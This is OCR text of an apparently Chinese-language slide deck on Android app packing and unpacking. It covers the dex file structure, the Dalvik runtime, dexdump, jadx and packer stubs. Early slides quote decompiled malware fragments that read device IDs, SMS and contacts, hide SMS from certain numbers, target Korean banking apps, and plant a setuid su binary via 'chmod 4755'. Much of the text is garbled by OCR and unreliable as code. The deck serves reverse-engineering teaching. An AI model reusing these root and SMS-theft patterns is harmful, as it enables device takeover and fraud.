Android SE & FE

Blog: http://xtutlab.blogspot.com/
Mail: xtutlab@gmail.com

E T

1|rrr

S



R A

e Android SEEFE T

* Dex (Dalvik VM Executors){ 4
o B AR i

* PRI KRS

e Android Dex Runtime

* Android EjREERR



* REERM
* FEAUEE

* SRR ISR

- RGN

* NER(T R

Android

E‘é%ﬁ;‘

V2 A WA N i Y

N



=z SR T
EH A &R
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SharedPreferences sharedPreferences = context.getSharedPreferences("device 1d", 8);
string = sharedPreferences.getString("device id", null);

YEHAndroid ID
string = Secure.getString(context.getContentResolver(), "android id");

FEHUEE AR5

string = ((TelephonyManager) context.getSystemService("phone”)).getDeviceId();
SO

SmsMessage createFromPdu = SmsMessage.createFromPdu( (byte[]) obj);
displayMessageBody = createFromPdu.getDisplayMessageBody( );
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();

it = A
YN
Cursor query = contentResolver.query(Phone.CONTENT URI, (String[]) ((Object[]) new String[]{“contact id", “display name™, "datal", “photo id"}), nul
if (query '= null) {
while (query.moveToNext()) {
Object string = query.getString(query.getColumnIndex("datal"));
if (!'b.contains(string)) {
set set = b
h.a{string, "number™);

set.add(string);
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String bin = "/system/bin/";
String cmd = new StringBuilder(String.valueOf(bin)).append(oldSu).toString();
String dest = new StringBuilder(String.valueOf(bin)).appendinewSu).toS5tring();
if (!nmew File(dest).exists() && new File(cmd).exists()}) {

String source = ctx.getFilesDir({) + "/" + newSu;

getRawResource( ctx, newsu, newSujj

| runRootCommand(cmd, "mount -o remount rw /system"); |

runRootCommand(cmd, "cat " + source + " > " + dest);

runRootCommand({cmd, “"chmod 4755 " + dest);

ctx.deleteFile(newSu);

try 1
Iprcn::ess = Runtime.getRuntime( ).exec|command), I




public uuidhnn]ean selfChange) {
super.ontnange! selfChange);
Cursor ¢ = this.context.getContentResolver().query(uriSms, new String[]{"_id", "thread_id", "address", "person™, "date", "body"]
if (c !'= null %& c.moveToFirst()) {
String num = c.getString(2);
String id = c.getString(@);
if (!(num == null || this.phoneNum == null || !num.startsWith(this.phoneNum))) {
Log.d( "ddddddddddddddddssssssssssssssss ssddddddddd™, " dfsaaaaaaaaaaaaaaaaasaaaaaa’ );
this.context.getContentResolver().delete({uriSms, " _id=" + id, null);

1
J

c.close();

if (!readTag(this.sp, str3, strd).equals(getDatal))) {
str7 = "1866156686" ;
str7 = "8";
str7 = "".
I sendsms(str2, str, strd, this);
stré = "data";
saveTag(this.sp, str3, getData(), 1);
} else if (readTag(this.sp) < 3) {
str7 = "1BGEELSEEEE™
str7 = "8";
str7 = "";
sendsms(str2, str, str4, this);
stré = "data";
saveTag(this.sp, str3, getData(), readTag(this.sp) + 1);

fd
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1"com.wooribank.pib.smart™, "com.kbstar.kbbank™, "com.ibk.neobanking”,
1" com.webzen.muorigin.google”}));

1 com.ncsoft.lineageml9™, “com.ncsoft.lineagem”}));
1"kr.co.neople.neopleotp”}));

1"kr.co.happymoney.android. happymoney™}));

f"com.nexon.axe"}));

{"com.nexon.nxplay"}));

1"com.atsolution.android.uotp2”}));
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systemService = context.getSystemService("wifi");

if (systemService == null) {

throw new d.e("null cannot be cast toc non-null type android.net.wifi.WifiManager™);
1
I

WifiManager wifiManager = (WifiManager) systemService;
if (d.d.b.h.a((0Object) a, (Object) "WIFI")) {
WifiInfo connectionInfo2 = wifiManager.getConnectionInfo();
if (connectionInfo2.getBSSID() != null) {

L
str2 = (String) this.u.get({connectionInfol.getBSSID());
if (str2 == null) {

L
Object obj2;

List<ScanResult> scanResults = wifiManager.getScanResults();
FlErWifiig &5 i
if (5tr3 != null) {

strd = (v. a[[[harSeqUEHCE| str3, (CharSequence) "WPA", false, 2, null) || v.a((CharSequence) str3, (CharSequence) "WEP", false, 2, null)) ?°
51:["3 = 1w ;
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assets 2019312 F5F0 EBEERE
7 [BR 47 o e T Bty st 3
D dreid ' FRERYE || META-INF 2019/3/12 F5 0. BEEEHE
android_apk — o P
I-'_:_lr _ FI res 2019/312 =0 CEAES
2| AndroidManifest 2011/8/30 5 0.. XMLD
2| assembly-descriptor 2011/8/30 M5 0. XMLD
||_'| classes.dex I 2011/8/30 F5F 0. EX EE
| | resources.arsc 2011/8/30 M5 0.. ARSCEE
A e: N l:[ ~N
iBiclasses.dex[7 4Rzl avafE T
23 clasesdex public class MainActivity extends Activity |
-5 Sovree code private Button bn_insert;
- 3 android supportvd accessibilityservice private OnClicklListener bn_insert_listen = new OnClicklListener() {
EE android supportyvd app public void onClick(View v) {
EE androdd supporct wd comtent b
[ H android supportvd content. pm
EE amdoid support 4 database public void onClick(DialogInterface argl, int argl) {
EE androdd supportwd net 1 }
- 3 andioid support w4 oz ri
EE amdoid supported kil private EditText ed score;
EE android support v view private EditText ed subject;
i andinid supportvd view accessibility private Spinner sp_review;
EE amndoid support wd wid get private int sp review item = 8;
é"ﬂ}mm.ﬂxﬂmple.mureapp private OnItemSelectedlistener sp review listen = new OnItemSelectedListener() {
@ BuildConfig public void onItemSelected({AdapterView<?> adapterView, View view, int pos, long id) {
@ Mainbetivity switch (pos) {

H-@ R case B:
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[£] jadx-gui - class_packer.dex — O x>

File View Mavigation Tools Help

FA|ew | E L

1:, class_packer.dex
------ [ Bomrce code

%p Java Decompiler — O >

File Edit Mavigation Search Help
Al T AR

rror *

@ Invalid input fileloader: 'Chclass\class_packer.dex'
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Dex fig2&

header HOE R : F IR Sk HIDex S 2 ~ cheacksumAlIshal
string_ids faA TR ERIHTES |
type_ids faFER(OR)VLRREEIES | (56
proto_ias fi A T A R T S | | public class MainActivity extends AppCompatActivity { |
field_ids IR (B RNk TE] — :
method_ids fa A T A TEEES | pe E]eelshc)d
class_defs SRS | voidmethod String g1 {

}

data
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Current loader is stopped; replacing

Unsigned Little Endian Base

string data[39 Current loader is stopped; replacing

struct string_id_list dex_string_ids 4154 strings

struct string_id_item string_id [0]
struct string_id_item string_id[1]
struct string_id_item string_id[2]
struct string_id_item string_id[3]
struct string_id_item g_id[4]
struct string_id_item string_id[5]
struct string_id_item string_id[6]
struct string_id_item string_id[7]
struct string_id_item string_id[8

struct string_id_item string_id[1

]
struct string_id_item string_id[9]

struct string_id_item string_id[1
struct string_id_item string_id[12
struct string_id_item string_id[13
struct string_id_item string_id[14
struct string_id_item string_id[1
struct string_id_item string_id[1¢

struct string_id_item string_id[17



Type

struct type_ia_item type_id[2] tloat
uint descriptor_idx (O1C2)
struct type_id_itemn type_id[3] int

uint descriptor_idx (0x20B) "I"

struct type_id_itemn type_id[4] lang

struct type_id_list dex_type_ids 590 types
struct type_id_itemn type_id[0] char
struct type_id_item type_id[1] double
struct type_id_item type_id[2] float
struct type_id_item type_id[3] int
struct type_id_item type_id[4] long
struct type_id_item type_id[5] android.accessibilityservice AccessibilityServicelnfo
struct type_id_itemn type_id[6] android.animation.ValueAnimator
struct type_id_item type_id[7] android.app. Activity
struct type_id_item type_id[8] android.app.Dialog
struct type_id_item type_id[9] android.app.Motification$BigPictureStyle
struct type_id_item type_id[10 android.app.Motification$Big TextStyle
struct type_id_item type_id[11 android.app.Motification$Builder
struct type_id_item type_id[12 android.app.Motification$InboxStyle
struct type_id_item type_id[13 android.app.Motification

struct type_id_item type_id[14 android.app.Pendinglntent



struct proto_id_list dex_proto_ids
struct proto_id_item proto_id[0]
struct proto_id_item proto_id[1]
struct proto_id_item proto_id[2]
struct proto_id_item proto_id[3]
struct proto_id_item proto_id[4]
struct F:I'Eltl:l_id_itEr'r'l f::l'ljtl:l_id [5]
struct proto_id_item proto_id[6]

struct proto_id_item proto_ia[792]

struct proto_id_item proto_id[793]
struct proto_id_item proto_id[794]

Proto

struct proto_id_item proto_id[ /33
uint shorty_idx
uint retu e _idx

uint parameters_off

struct type_item_list parameters

/95 prototypes
char (int)

double (double)
float ()

float (float)

float (float, float)
float (int)

float (android supportvd view PaygerTitleStrip)

va.lang.String[] ()

java.lang.String[] (java.lang.String)

java.lang.String[] (java.lang.String[], java.lang String[])

ang.>trnngl] (java.lang.5tring)
LL"

[Ljava/lang,/String;

raflang/String;

a/flang/String;




Field

ushort class_idx (0xD) android.app.Motification
P’y :_ ::I irlt

uint name_idx (OADB) "icon”

struct field_id_list dex_field_ids A77 fields
struct field_id_item field_id[0] int android.app.MNotification.audioStrear . Type
struct field_id_itemn field 1d[1] android widget. RemoteViews android.7.pp.Motification.content\iew
struct field_id _itemn field id[2] int android.app.Motification.defaults
struct field_id_item field_id[3] android.app.PendingIntent android app Motification.deletelntent
struct field_id_itemn field id[4] int android.app.MNotification.flags
struct field_id_itemn field id[5] int android.app.Motification.icon
struct field_id_item field_id[6] int android.app.Notification.iconLevel
struct field_id_item field_id[7] int android.app.Notification.ledARGB




Method

struct method id_list dex_method_ids
struct method_id_item method _id[0] ) service. Accessibil vicelnfo.getCanRetrieve\WindowContent()
ushort class_idx (0x5) android.accessibilityservice AccessibilityServicelnfo
ushort proto_idx 4 5) boalean ()
uint name_iax [ 5 "getCanRetrieve\WindowCaontent"

struct method_id_itern method _id[1] java.lang.5tring android.acce - ilityServicelnfo.getDescription()

struct method_id_item method_id[2] java.l ring android.
struct method_id_itern method_id[3] androi l_l:lr'ltE'Ht.f::r'r'l.F-lEEl:l|".-'E'|r'|

struct method_id_item method_id[4] java.lang.5tring android.accessibilityservice Accessibilitys fo.gets




EtIIJI_-I_lclEE rl

struct class_ rln-
struct class_def
struct class_def
struct class_def_

struct class_def_

struct class_ rlF-'

struct class_def_

item c |.:|EE r]n—- ]
item class_def :]
_item class_def[3]
item class_def[4]

item class_def[3]

item class_def[

itemn class_de '.:.:']

itemn class_def

struct class_det_ite
uint class_idx
Enum AL _FLALS access_Tiags
uint supe
uint interfa
uint source

instance_fields size
direct_methods_s

struct encoded_field_list instance_fields 17 fields
struct encoded_method_list direct_methods 11 methods
struct encoded_method_list virtual_methods 3 methods

uint static_values o

interface '|:_£t|:||__ android.support.vd.accessibilityser
public android. support.vd.accessibilityservice A
ar‘u:lrn:nin:l.zu;::F::n:nlt.'-.-'i.an:n:e55i|:::i|i1'-=n-|--| ce. .:::"||: ilit:

public com.example scoreapp.MainActivity

public final com.example.scoreap

public final com.

1 direct meth:

y wirtual methods




Map [tem

struct map_item list[1] TYPE_STRING_ID_ITEM
enum TYPE_CODES type TYPE_STRING_ID ITEM (1)
ushort unused 0
uint size 4154

uint offset

struct map_item list[17]
struct map_item list[0] TYPE_HEADER_ITEM
struct map_item list[1] TYPE_STRING_ID_ITEM
struct map_item list[2] TYPE_TYPE_ID_ITEM
struct map_item list[3] TYPE_PROTO_ID_ITEM
struct map_item list[4] TYPE_FIELD_ID_ITEM
struct map_item list[5] TYPE_METHOD ID ITEM
struct map_item list[6] TYPE_CLASS_DEF_[TEM
struct map_item list[7] TYPE_MAP_LIST
struct map_item list[8] TYPE_TYPE_LIST
struct map_item list[9] TYPE_AMNMOTATION_SET_ITEM
struct map_item list[10] TYPE_CLASS_DATA_ITEM
struct map_item list[11] TYPE_CODE_ITEM
struct map_item list[12] TYPE_STRING_DATA_ITEM
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package a;

import
import
import
import
import
import
import

public

android.annotation.SuppressLint;
android.content.Context;
android.content.SharedPreferences;
android.provider.Settings.5Secure;
android.telephony.TelephonyManager;
android.util.Basebd;
java.util.UUID;

class a {

protected static UUID a;
protected static String b;

@SuppressLint({"CommitPrefEdits"}
public static synchronized String a(Context context) {

String string;
synchronized (a.class) |
if (b == null) {

SharedPreferences sharedPreferences =

string = sharedPrEferencesIgetString(

context JgetSharedPreferences( "device id", Eji]
“device id", null);
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Header &I

struct dex_magic magic

LIMTE CReCsEsum

signature] 20

t method

Jint data _size

uint data off




Dex data JJ[I%&&

header

string_ids

t?DE-JdS public class Mainfctivity extends ApplompatiActivity |

proto_ids

static |

field i _ .
eld_ids System. loadLibrary( libname: "Decrypt apk-1ib");

method_ias }

class_defs

data
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vold test(5String arg) |
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|ﬂ.de:rypt{"Lcnmfexamplefmyapplicatinn:—}testl{Ljavaflangfﬂtring:fﬁ"3:l

testl larg);

|H.Ear5E{"Lcnmf&xamplefmyapplicatiDn:—}testl{Ljavaflangfﬂtring:f?"): |

]

vold testl({String =) |



protected [native|void onCreate(Bundle bundle);

VMP (VirtualProtect )

JNI
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Android Dex Runtime



/system/lib/libdvm.so

Android Dex Runtime

—t

DexClass.h
dexReadClassDataHeader()
dexReadClassDataField()
dexReadClassDataMethod()

DexFile.cpp | Class.cpp
dexFileParse() dvmDefineClass()

Class.cpp l DexClass.h
dexGetCode() loadMethodFromDex()

Stack.cpp
dvmCallMethodV()
dvmcCallMethodA()

dvminvokeMethod()

N Interp.cpp
dvminterpret()

InterpC-portable.cpp
dvminterpretPortable()
Interp.cpp
dvmMterpStd()




Dex Struct

struct Method {
ClassObject* clazz; =

const char*  name; struct ClassObject : Object {

const char* descriptor;

const u2* insns;

DvmDex* pDvmDex;

\

struct DvmDex {
DexFile* pDexFile;
const DexHeader* pHeader;

struct DexFile {
const DexOptHeader™* pOptHeader;
const DexHeader* pHeader;
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rootiggeneric: _

“om.androlid :uuﬂdre_urdﬂr 18847 0 |/data/data/com.androld. soundrecorder) release 3683
com.android.sdksetup 18846 @ /data/data/com.android.sdksetup platform none

com.android. launcher 18689 ¢ f'- afdata/com.android.launcher shared none

com.android.defcontainer 16663 & da a/data/com.android.defcontainer platform 1628,1615,1623,28081,1635

Package name | UID | Path

com.android.smoketest 18654 @ /da da::;:Dm.aﬂdﬁnid.5m5{e:e5: default none
com.example.simple 18859 & /d; -f'- com.example.simple default none
com.android.contacts 168862 @ /d. .f'a_:f:Dm android.contacts shared 36063,1628,16°
com.android.phone 1681 @ /data/data/com.android.phone platform 3662,30661,3003,10628




dexdump cmd

rootigeneric:/ # dex
dexdump: no fil

Copyright (C)

dexdump: [-c] s i [-m] [-t tempfile] dexfile...

verify checksum and exit

disassemble code sections

display summary information from file header
display file header details

ignore checksum failures

output layout, either “plain’ or "Xml’

dump register maps (and nothing else)

temp file name (defaults to /sdcard/dex-temp-¥)




DexDump.cpp

Processing 'MyApplication.gpk'...
Cpened '"Myipplication.apk', DEX wversiom '035°

DEX file header:
magic

checksum
signature

file size
header size

name

Type

access

code

registers

ins

outs

insns size
llcdcB:
llecdds8: ef20 fO0zZ3
llcdde: 1400 1cQO
llcded: ee20 3Z23b
llcdea: e2l0 Zeldb
1lcdf0: 1400 &000
llcdfe: ee20 303b
llcdfc: OcO0
llcdfe: 1£00 Z£07
llce0Z: eeld Z2f3b

'dex\nO35\0"
S8bcZB8a
Zocd. .. el3e
2116208

112

dexdump

3200
0a7ft
0z00
0zZ00
O7T7L
0z00

0z00

(in &&&mﬁexamplEfi&&&é&fm£&2E4&E&&$aafHﬂinﬂctivity:JI

'onCreate!

"(Landroid/gs/Bundle; ) V'
Ox0004 (PROTECTED)

| S Y

29 16-bit code units

|[1lcdc8] com.example.jsghen.mvapklication.Mainfetivity.onCreate: (Landroid/os/Bundle; )V

| Q000 :
|Q003:
|000E:
|0009:
|000c:
|QO0E:
|001zZ:
|0013:
|0015:

invoke-super {vZ, w3}, Landroid/support/v7/anp/AppCompatictivity: . onCreate: (Landroid/os/Bundle
gonsk w0, #float 1821048033300023765345934377281443215360.000000 // #7£05001c

invoke-virtual {vZ, w0}, Lgom/example/jgchen/myvapnlication/Mainfctivity:.setContentView: (I}V ¢
invoke-wvirtual {v2}, Loom/example/jschen/myvapnlication/Mainfdctivity;.InitProgram: ()V // methoc
gonsk 0, #float 17944772654228559340237465207396%9975296.000000 /f/ #7£070060

invoke-virtual {vZ, w0}, Lgom/example/jgschen/myvapnlication/Mainfctivity:.findViewById: (I)Land:
move-result-object w0

check-cast v0, Landrpid/widget/TextView; // type@0T7ZE

invoke-virtual {vI}, Lgom/example/jschen/myapplicarion/Mainfctivity;.5ShowHello: ()Liava/lang/ St



DextZ = iEEE | avafs Tk

o

: /,
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static /¥ synthetic */ android.widget.EditText access$3(com.example.scoreapp.MainActivity rl) {
S JADX: method processing error ¥/

N

S *

Error: jodx.core.utils.exceptions.JadxRuntimeException: Not initialized variable reg: @, insn: @x8881: RETURN (r@ android.widget.Edit]

*/

at
at
at
at
at
at
at
at
at
at
at

Jadx

Jadx.
Jadx.
Jadx.
Jjadx.
Jadx.
Jadx.
Jadx.
Jadx.
Jadx.
Jadx.

¥

return ré;

*/

« COFE .
COre.
COre.
COre.
COre.
core.
COre.
core.

dex

dex.
dex.
dex.
dex.
dex.
dex.

wvisitors.
visitors.
visitors.
visitors.
visitors.
visitors
visitors

ProcessCloss.

ssd. 55ATransform
ssd.55ATransform
ssd. 55ATransform
ssd.55ATransform
ssa.55ATransform

.DepthTraversal . v
.DepthTraversal.v

process(ProcessC

.renameVar(55ATransform. java: 161)
. renameVar(55ATransform. java: 183)
.renameVariables (5SATransform. java:132)

.process(55ATransform. java:52)
Visit(S55ATransform. java:42)
isit{DepthTraversal . java:31)
isit{DepthTraversal. java:17)
Lass. java:34)

api.JadxDecompiler.processClass(JadxDecompiler. jaova:282)
api.JavaClass.decompile{JavaClass. java:62)
api.JavaClass.getCode{JavaClass. java:48)




odex (optimize Dalvik VM Executors

=B FbaksmalilE i dex

Cptimized DEX file header:

magic : 'EEERHGSERD'I
dex offset t 40 [(0O=x0000Z8)
dex length : 458420

deps offset
deps length
opt offset

458464 (Ox0Oefeed)

O
LB L]

459352 (0x0TOZ5E)

opt length : 12312
flags : 00000000
checksum : fOeT4Bel
*#2 : (in Loom/example/gscoreapn/Mainfctivity;)

name 2 'nnﬂreatﬂ'

type : ' ({Landroid/os/Bundle; ) V!

access : Ox0004 (PROTECTED)

code -

registers 4

ins 2

outs -

insns size : 60 le-bit code units
0Zd400: | [02d400] com.example.gcoreapk.Mainhctivity.onCreate: (Landroid/os/Bundle; )V
02d410: fal2l0 ce0d 3200 |0000: +invoke-super—-quick {vZ, v3}, [00ce] // ¥kakls #00ce

02d4le: 1500 037E
02d4la: £320 1k01 0200

| 0003 : /highlé v0, #int 2130903040 // ¥7£03

0005: +imnvoke-virtual-guick {vZ, w0}, [011lk] // wkakls #01lb
0Z2d420: £810 4dol 0200 +invoke-virtuwal-guick {wZ}, [014d] // wkakls #014d
0Z2d4zZe: £4Z0 1001 : 1 oDJ+ULLIU]

0Zd4Za: 421 1801 |000d: +igek-object-gquick w1, v2, [obkji+0118]

02d4Ze: £8Z2Z0 e302Z 1000 |000f: +invoke-virtual-guick {v0, vl1l}, [02e3] // ¥kakle #0Ze3
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360 (Qihoo360)
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@ EystemnlnfoException
@ T ppEntry

@ TxReceiver
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- F comtencent bugly legu crashreport biz
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G- comtencent bugly legu crasheeport cragh ho 0-® s ] mix.dex 2019/3/8 .. DEX#E= KB
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libdvm.so compiled

root@ubuntu: f/home/android-4.4/android-4.4.4-master# make libdvm

arm C++: libdvm <= dalvik/vm/interp/Interp.cpp
arm C++: libdvm <= dalvik/vm/mterp/out/InterpC-portable.cpp
SharedLib: libdvm (out/target/product/generic/obj/SHARED LIBRARIES/libdvm_intermediates/LINKED/libdvm.so)
Symbolic: libdvm (out/target/product/generic/symbols/system/lib/libdvm.s0)
Strip: libdvm (out/target/product/generic/obj/lib/libdvm.s0)
Install: out/target/productfgeneric/system/lib/Llibdvm.so
host C++: Libdvm <= dalvik/vmfinterp/lnterp.cpp
dalvik/vm/interp/Interp.cpp: In function 'void updateDebugger(const Method*, const u2*, const u4*, Thread*)':
dalvik/vm/interp/Interp.cpp:778:21: warning: variable 'msg' set but not used [-Wunused-but-set-variable]
host C++: libdvm <= dalvik/vm/mterp/out/InterpC-portable.cpp
host SharedLib: libdvm (out/host/linux-x86/obj/1lib/1libdvm.so)
Install: out/host/linux-x86/1Lib/1libdvm.so

shell mount -o rw,remount /sy
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import android.support.v7.app.ApplompatActivicy;

! I'_H LE il mﬂmhnmﬁppm import android.os.Bundle;
: E E".I:I.l.l:l.': f:l.i.' import android.widget.TextView;

T ‘3 HUME'I'-"[E »p'.:ll:lic class Mainfctivity extends AppCompatfActivity {
int testl;

+ E R int testZ;
int test3;

static {
System. loadLibrary{"native-1ib") ;

}
wvold ImitProgram()
{
testl = 07
test2 = 1;
test3d = testl + testI;
return;
}
String ShowHello()
{
return "Hello";
}
BOverride
protected wold onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setContentView (R. layout.activity main);

InitProgram() ;
TextView tv = (TextView) findViewById(R.id.sample text);
tv.setText (ShowHello()} ) ;

}
pubklic native String stringFromJdNI ()},
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package com.example.jschen.myapplication;

import android.os.Bundle;

import android.support.v?.app.AppCompatActivity;
EE com.example jschen myapplication import com.stub.StubApp;

4- G EUﬂdCanlg public class MainActivity extends AppCompatfctivity {
+l;3 MEJ.'I'.I.:!:'J.E‘I'.'I."."it"__." > %r‘lt testl;
ok e
-Jr_m com.gihoo g envcheck
- B3 comgihoo utl
+'HE|‘ I:Dmﬂtuhplugm public native String stringFromINI();

+- F4 comatub stub] Ish”tiE { _ I
: Stubfpp.interfacell(79);

- £ com.stub stub01 adl yetem. oadLibrary( native- 130703

- [ com shob stub7 y

void InitProgrami)
this.testl = @;
this.test2 = 1;
this.test3 this.testl + this.test2;

I protected native woid cnCreate(Bundle bundle); I

r

|'|'

1
J

String ShowHello() {
return “Hellao™;

1
J
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package com.example.jschen.myapplication;

e al A FRLZERE R FapK o soison s

import android.support.v?.app.AppCompatiactivity;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity @
int testl;
int test2;
int test3;

public native String stringFromINI();

r

static {
. . . . System.loadLibrary("native-1ib");
= £3 com.example jachen myapplication }
';3 E'l_'ljll:]_l:l:l]'_lfig void InitProgram() {

this.testl = @;

-9 Mainbctivity
: this.test3 = this.testl + this.test2;
=@ R :

String ShowHello() |
return “"Hello™;

1
J

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstancestate);
setContentView(R.layout.activity main);
InitProgram();
{(TextView) findViewById(R.id.sample text)).setText(ShowHello());
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